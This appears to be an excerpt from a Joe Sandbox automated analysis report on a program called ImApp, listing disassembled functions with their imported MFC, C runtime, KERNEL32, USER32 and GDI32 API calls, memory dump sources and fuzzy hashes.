Opcode Fuzzy Hash: 5a616bd24be3b455bdc1ee6eca321b18f2ec94f00428df2e7197da09933239b7
Instruction Fuzzy Hash: 9E31D031D483819FF320DF28C884F46B7E1FB092E0F114A59E4A9872A5DB78ED84CB81

Function 10007970 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

#548.MFC80U(?,00000001,DC7F1836), ref: 100079A8
_invalid_parameter_noinfo.MSVCR80(?,?,?,?,?,?,?,?,?,?,?,?,1000AF98,000000FF), ref: 100079D1
_invalid_parameter_noinfo.MSVCR80(?,?,?,?,?,?,?,?,?,?,?,?,1000AF98,000000FF), ref: 100079E3
#6201.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,1000AF98,000000FF), ref: 10007A35

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: _invalid_parameter_noinfo$#548#6201
String ID:
API String ID: 1002244787-0
Opcode ID: 7a81b5e3bbb7c8318fddfd7c742f1b575a95348401e6d30607feafb960437c68
Instruction ID: 326cc43db6d17c0cd75820e577fe2a5f3f16ad6b74147ef1b99dd257546da1a9
Opcode Fuzzy Hash: 7a81b5e3bbb7c8318fddfd7c742f1b575a95348401e6d30607feafb960437c68
Instruction Fuzzy Hash: B7318071E087819FF321CF28C880B4AB7E5FB492E4F054A99E499972A5D738ED44CB91

Function 10009380 Relevance: 6.1, APIs: 4, Instructions: 77COMMON

Download Yara Rule

APIs

#1176.MFC80U(?,?,1000914B,?,?), ref: 10009390
#6282.MFC80U(?,?,?,?,?,?,1000914B,?,?), ref: 100093CC
#5316.MFC80U(?,?,?,?,?,?,1000914B,?,?), ref: 10009400
#1172.MFC80U(00000003,00000000,?,?,?,?,?,?,1000914B,?,?), ref: 1000941C

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #1172#1176#5316#6282
String ID:
API String ID: 3256105086-0
Opcode ID: 8e0f0f1c687098d8fc0b7f342ecac89fe6bab51538d55b709f36b2325dab544d
Instruction ID: 7fec0519c36322fd29ae6fe84c8f5de91ef10ad95f46f08a991a4322410f107b
Opcode Fuzzy Hash: 8e0f0f1c687098d8fc0b7f342ecac89fe6bab51538d55b709f36b2325dab544d
Instruction Fuzzy Hash: 2811E9373457564BF611F9589880B4F735ADBC16F0F11020EFF68072D9EAB1AE068AA0

Function 020E77E4 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

IsChild.USER32(?,?), ref: 020E784E
#38.SFTTREE_IX86_U_60 ref: 020E785B
CallNextHookEx.USER32(?,?,?,?), ref: 020E786F
#38.SFTTREE_IX86_U_60 ref: 020E7883

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: CallChildHookNext
String ID:
API String ID: 733094969-0
Opcode ID: 674b0f8efbe21ee00a12ca10a9196f0259b487cb53c675cb1c3e40bc62d5b5cc
Instruction ID: ddc3af050d27a583c32a6a87c3887ca690e7690e64d2b7523bf813c94c68d2d0
Opcode Fuzzy Hash: 674b0f8efbe21ee00a12ca10a9196f0259b487cb53c675cb1c3e40bc62d5b5cc
Instruction Fuzzy Hash: E001F972944300FFDB6A8A599588ABAF7D9FB61308F18051EE51386A21C72198C2D661

Function 00409360 Relevance: 6.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00409383
#314.MFC80U(00000000,FC8A6036), ref: 0040938D
#6751.MFC80U(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,0041EAA8,000000FF), ref: 004093E0
#6751.MFC80U(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,0041EAA8,000000FF), ref: 00409435

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #6751$#1067#314
String ID:
API String ID: 2897520120-0
Opcode ID: 3094920460bb298a7cb3f3dc0e8935cc7ab818dfc91fe0ec85bfd1a3f8c45d0b
Instruction ID: 1a53c2c1a4a9ff25e8c8c71e7374c73f2f9bbf81dc655094975b9c38707bf7ef
Opcode Fuzzy Hash: 3094920460bb298a7cb3f3dc0e8935cc7ab818dfc91fe0ec85bfd1a3f8c45d0b
Instruction Fuzzy Hash: 1421F3712483419BD308DF25C841B5BB7E4FB88B24F048A2EF4A4973D1D778D844CB56

Function 020DD090 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,265105E4,?,?,?,?,?,020EC9E3,000000FF), ref: 020DD0BE
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,020EC9E3,000000FF), ref: 020DD0DD
#762.MFC80U(0000000C,?,?,?,?,?,020EC9E3,000000FF), ref: 020DD0FF
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,000000FF), ref: 020DD142

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: CriticalSection$Leave$#762Enter
String ID:
API String ID: 776126967-0
Opcode ID: e671bb9595c7136403b4c1b2c69ae79f898ea1d288bcdeece4896e16412ceee3
Instruction ID: 4acb505b4c09b3d4c76008eac8498c7cc7fec2d42bae53484b4fe68a9008cfef
Opcode Fuzzy Hash: e671bb9595c7136403b4c1b2c69ae79f898ea1d288bcdeece4896e16412ceee3
Instruction Fuzzy Hash: 8D218EB25483519FD311CF19D904B6BBBE8FB98B20F004A2EE96597780D3759909CBA2

Function 020D5220 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.MSVCR80(265105E4,?,?,?,?,?,?,020EDE52,000000FF), ref: 020D5267
_invalid_parameter_noinfo.MSVCR80(265105E4,?,?,?,?,?,?,020EDE52,000000FF), ref: 020D5274
_invalid_parameter_noinfo.MSVCR80(?,?,?,?,?,?,020EDE52,000000FF), ref: 020D5281
_invalid_parameter_noinfo.MSVCR80(?,?,?,?,?,?,020EDE52,000000FF), ref: 020D528E

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 4194b6f3f80407914c1277abe21e98263a8606cdab5449647ea0511839a29f7c
Instruction ID: b8250251bed92bfeac0e4681d06f98cb11a210cc04ebe182e6d8a7fda534e13f
Opcode Fuzzy Hash: 4194b6f3f80407914c1277abe21e98263a8606cdab5449647ea0511839a29f7c
Instruction Fuzzy Hash: AA218C716057018FD321CF05C880B2BBBE4FB46728F44891DE89997651C779F888CBA5

Function 020DD160 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,265105E4,?,?,?,?,020EC9A8,000000FF), ref: 020DD18D
LeaveCriticalSection.KERNEL32(?,?,?,?,?,020EC9A8,000000FF), ref: 020DD1AE
#764.MFC80U(00000000,?,?,?,?,020EC9A8,000000FF), ref: 020DD1FA
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,000000FF), ref: 020DD20B

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: CriticalSection$Leave$#764Enter
String ID:
API String ID: 4162527978-0
Opcode ID: e824c4db384b570efa9917b9f385d34e3f92360a32df444c991bacdb10e3e689
Instruction ID: 223717081f92e2eaab4b1bd29812827feaf5119405e71ea5154a7114c322ad91
Opcode Fuzzy Hash: e824c4db384b570efa9917b9f385d34e3f92360a32df444c991bacdb10e3e689
Instruction Fuzzy Hash: 0721BBB6508341DFE314CF18C844B6BBBE4FF98724F104A2EE46A87790D735A409DA91

Function 10006FC0 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

#1176.MFC80U(?,100068F7), ref: 10006FC9
#6282.MFC80U(?,?,?,?,?,?,100068F7), ref: 10007000
#5316.MFC80U(?,?,?,?,?,?,100068F7), ref: 1000703C
#1172.MFC80U(00000003,00000000,?,?,?,?,?,?,100068F7), ref: 10007058

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #1172#1176#5316#6282
String ID:
API String ID: 3256105086-0
Opcode ID: 8d676ad43edabdb50af6ed9f4be3d54205b25cb4da3d0906c2f67deab8b265f6
Instruction ID: 04b82bdac797794f2b0b6fbf0cd00ad0207a3a4d42074591db1b7707ceac20b9
Opcode Fuzzy Hash: 8d676ad43edabdb50af6ed9f4be3d54205b25cb4da3d0906c2f67deab8b265f6
Instruction Fuzzy Hash: 1801083734435A4BE120FE94AC80B8B774AEBC17F0F210329F758171D6D9A5A80683A1

Function 100064F0 Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

#1176.MFC80U(?,10002F18,?,?,?,?,00000000), ref: 100064F8
#1176.MFC80U(00000000,?,10002F18,?,?,?,?,00000000), ref: 10006508
#1176.MFC80U(00000000,?,10002F18,?,?,?,?,00000000), ref: 10006530
#774.MFC80U(00000000,0000000C,00000000,?,10002F18,?,?,?,?,00000000), ref: 1000656D

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #1176$#774
String ID:
API String ID: 2658862651-0
Opcode ID: 01d5613565b842eb9359ab555b0e7d386e7a8ee8398ddd2d1808a467961d0fdb
Instruction ID: 6f022fbac2d2d9e0f8d1825b2646506c5b9ea75e572ddccc91e5853ae832f088
Opcode Fuzzy Hash: 01d5613565b842eb9359ab555b0e7d386e7a8ee8398ddd2d1808a467961d0fdb
Instruction Fuzzy Hash: 8411E376A01A128BA711CF44DC8054A73E3FFD86E1B7A841DD8569B34CEB30FD018B51

Function 004033B0 Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 004033D3
#314.MFC80U(00000000,FC8A6036), ref: 004033DD
#6751.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,0041DBB8,000000FF), ref: 00403417
#6751.MFC80U(00000000,?), ref: 0040346B

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #6751$#1067#314
String ID:
API String ID: 2897520120-0
Opcode ID: ea987e563bc5335ab4a415d590008dd4a83b4b36b00e49f25b227c6c59be654b
Instruction ID: 4288c9fc8e72b6357adaf2ca90fc9009142820c954d836088174d6f7a409507b
Opcode Fuzzy Hash: ea987e563bc5335ab4a415d590008dd4a83b4b36b00e49f25b227c6c59be654b
Instruction Fuzzy Hash: EE2123702083419FD309DF19C545B6BBBE4FB84B24F048A2EE4A59B391D738D945CB96

Function 020DE510 Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 020DF170: #1472.MFC80U(?,?,?,020DE53D,265105E4,?,?,?,?,?,00000000,020ED713,000000FF,020DBFFC), ref: 020DF188

#1472.MFC80U(?,265105E4,?,?,?,?,?,00000000,020ED713,000000FF,020DBFFC), ref: 020DE552
#578.MFC80U(?,021051D0,00000000), ref: 020DE599
_invalid_parameter_noinfo.MSVCR80 ref: 020DE5A3
_invalid_parameter_noinfo.MSVCR80 ref: 020DE5AE

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #1472_invalid_parameter_noinfo$#578
String ID:
API String ID: 2096045813-0
Opcode ID: b3ebfe6674075e35c48aa3ed060db0b2327d1a286e69b9ad34d1f7277ea08302
Instruction ID: e273f05671f8b7e4280b37600d2f1a00462a6302e04ded9e46ff5c6d577f43fb
Opcode Fuzzy Hash: b3ebfe6674075e35c48aa3ed060db0b2327d1a286e69b9ad34d1f7277ea08302
Instruction Fuzzy Hash: 16118E76544701DFC310EF28D884B97B7E9FB887A4F440A2DF95A97690E734E904CBA1

Function 020CF587 Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 020CF980: #578.MFC80U(?,020CF560,?,?,?,00000001,?), ref: 020CF989

#764.MFC80U(?), ref: 020CF595
_CxxThrowException.MSVCR80(00000000,00000000), ref: 020CF5A1
#774.MFC80U(?,?,?,?), ref: 020CF5FE
#774.MFC80U(?,?,?), ref: 020CF656
#578.MFC80U(?,?), ref: 020CF66D

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578#774$#764ExceptionThrow
String ID:
API String ID: 4094909494-0
Opcode ID: c5c2e48a4bf569ac02f5bb0910e3942ec06cf08018a41f33aab0fa91a705129f
Instruction ID: 46bcbbf254a21ecffbf38b8efb86cbb3a6b89d297bef8517a3e099f153cbe0ac
Opcode Fuzzy Hash: c5c2e48a4bf569ac02f5bb0910e3942ec06cf08018a41f33aab0fa91a705129f
Instruction Fuzzy Hash: 0211E2B2D003158BCF01DF54C98879EB362EF84320F25825AD8057B680C734BE05DBE2

Function 0041AED0 Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.MSVCR80 ref: 0041AEF6
_invalid_parameter_noinfo.MSVCR80 ref: 0041AF04
_invalid_parameter_noinfo.MSVCR80 ref: 0041AF2F
_invalid_parameter_noinfo.MSVCR80 ref: 0041AF46

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 873b5d5732744ffb927887b552dfbf381e4828043d5d8e905a10d6c242f3ef86
Instruction ID: 273bb983a01f7659c3488310198bfee83ecbd5c841fff1c53210c1fd5a80e353
Opcode Fuzzy Hash: 873b5d5732744ffb927887b552dfbf381e4828043d5d8e905a10d6c242f3ef86
Instruction Fuzzy Hash: 0B11A0763053049F82209F58D58496FF7EAFBC4710B05461EE58653310C7B4BCA28AAA

Function 020CF290 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.MSVCR80(?,?,00000000,?,?,020CF0CD,?,?,?,?,00000000,?), ref: 020CF2B6
_invalid_parameter_noinfo.MSVCR80(?,?,00000000,?,?,020CF0CD,?,?,?,?,00000000,?), ref: 020CF2C4
_invalid_parameter_noinfo.MSVCR80(?,?,00000000,?,?,020CF0CD,?,?,?,?,00000000,?), ref: 020CF2EC
_invalid_parameter_noinfo.MSVCR80(?,?,00000000,?,?,020CF0CD,?,?,?,?,00000000,?), ref: 020CF303

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 4153b056d9289f94a79f8934aca2944309e9ed02b96b261686d6185491952ace
Instruction ID: 6f92c2ec9321eaf798450e32193b0be90dfffd5cbac1b215605de240088485c5
Opcode Fuzzy Hash: 4153b056d9289f94a79f8934aca2944309e9ed02b96b261686d6185491952ace
Instruction Fuzzy Hash: 691170B66407028F83619F59D48852FF7EBFBC5759B25491FE54683A08C730B8419AE2

Function 00415A60 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

#762.MFC80U(?), ref: 00415A74
_CxxThrowException.MSVCR80(00000000,0042BA30), ref: 00415AA1
_invalid_parameter_noinfo.MSVCR80(?,?,00000000,0042BA30,00000000), ref: 00415ABF
_invalid_parameter_noinfo.MSVCR80(?,?,00000000,0042BA30,00000000), ref: 00415ACB

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: _invalid_parameter_noinfo$#762ExceptionThrow
String ID:
API String ID: 2483836380-0
Opcode ID: 878831d8eaccee0f3b8f73e74424fde7f8e382620e13c6c10ff5ae2744a7188c
Instruction ID: 5ef3022acde4feb1576bedc25ebe5e3cfebdcf87305416b8eab557c77b91a2c8
Opcode Fuzzy Hash: 878831d8eaccee0f3b8f73e74424fde7f8e382620e13c6c10ff5ae2744a7188c
Instruction Fuzzy Hash: 65F0F4303906009BD71CF628ED52BDEB3A5AFD0B60F58462FE456822C0EB78ED41869D

Function 10009BA0 Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

#1093.MFC80U(10010778,?,DC7F1836,00000000,1000B688,000000FF,1000A2D2,00000001,?,?,00000001,?,?,1000D490,00000010,1000A38B), ref: 10009BD3
#762.MFC80U(00000040,10010778,?,DC7F1836,00000000,1000B688,000000FF,1000A2D2,00000001,?,?,00000001,?,?,1000D490,00000010), ref: 10009BF0
#371.MFC80U(10010778,00000000), ref: 10009C11
#1168.MFC80U(10010778,?,DC7F1836,00000000,1000B688,000000FF,1000A2D2,00000001,?,?,00000001,?,?,1000D490,00000010,1000A38B), ref: 10009C2A

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #1093#1168#371#762
String ID:
API String ID: 3540602553-0
Opcode ID: 49fa9a8d46fb25cf8b93cff07f7e8b8d845a2516b84c65640f9202e5aec81ac0
Instruction ID: b716efc9565ddcc76f450d1537aca8f10ca80e5d663c850c6626d27cef058cbb
Opcode Fuzzy Hash: 49fa9a8d46fb25cf8b93cff07f7e8b8d845a2516b84c65640f9202e5aec81ac0
Instruction Fuzzy Hash: F8118075A482419BF350CB14CE42F5AB3D4EB857E0F10892AF985C72C9E738ED44CB92

Function 03272260 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

CreateRectRgnIndirect.GDI32(?), ref: 032722B0
CombineRgn.GDI32(?,?,00000000,00000002), ref: 032722C0
DeleteObject.GDI32(00000000), ref: 032722C7
InvalidateRect.USER32(?,?,00000000), ref: 032722D4

Memory Dump Source

Source File: 00000007.00000002.3532100878.0000000003271000.00000020.00000001.01000000.00000012.sdmp, Offset: 03270000, based on PE: true

Associated: 00000007.00000002.3531965898.0000000003270000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532138534.0000000003278000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532175053.000000000327D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532248982.000000000327E000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3270000_ImApp.jbxd

Similarity

API ID: Rect$CombineCreateDeleteIndirectInvalidateObject
String ID:
API String ID: 999859525-0
Opcode ID: 191c7996f1047b930570ca5a5ca1777b7d93fcd7c42e4f1a2f8d74b3a08fd0ea
Instruction ID: 7328b7b03a77d12bba0a17b162775f8203b8113ff5faecdc831a04eacda9a09e
Opcode Fuzzy Hash: 191c7996f1047b930570ca5a5ca1777b7d93fcd7c42e4f1a2f8d74b3a08fd0ea
Instruction Fuzzy Hash: 1411F775608305EFD304DF68E88996ABBE8FF9C310F008919F94897305D730EA45CBA5

Function 03272E70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

GlobalLock.KERNEL32(?), ref: 03272E7A
GlobalSize.KERNEL32(?), ref: 03272E8C
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000016), ref: 03272EB7

Part of subcall function 03271530: DeleteObject.GDI32(?), ref: 0327154E

GlobalUnlock.KERNEL32(?), ref: 03272EE6

Memory Dump Source

Source File: 00000007.00000002.3532100878.0000000003271000.00000020.00000001.01000000.00000012.sdmp, Offset: 03270000, based on PE: true

Associated: 00000007.00000002.3531965898.0000000003270000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532138534.0000000003278000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532175053.000000000327D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532248982.000000000327E000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3270000_ImApp.jbxd

Similarity

API ID: Global$DeleteLockObjectSizeUnlockWindow
String ID:
API String ID: 3178255834-0
Opcode ID: bcc1e9061c5cb4f0179cf87149e9faa3ba58d75892935d05875245d850a08f8e
Instruction ID: 2de589bc85de247ecccc4ce4e2b03e5645fb6ab691ec68829ab06beb58f97d39
Opcode Fuzzy Hash: bcc1e9061c5cb4f0179cf87149e9faa3ba58d75892935d05875245d850a08f8e
Instruction Fuzzy Hash: 50014879514312ABD214EF14DC89FAFB7A9BFC8250F08480DF95497340DBB0E9868BA2

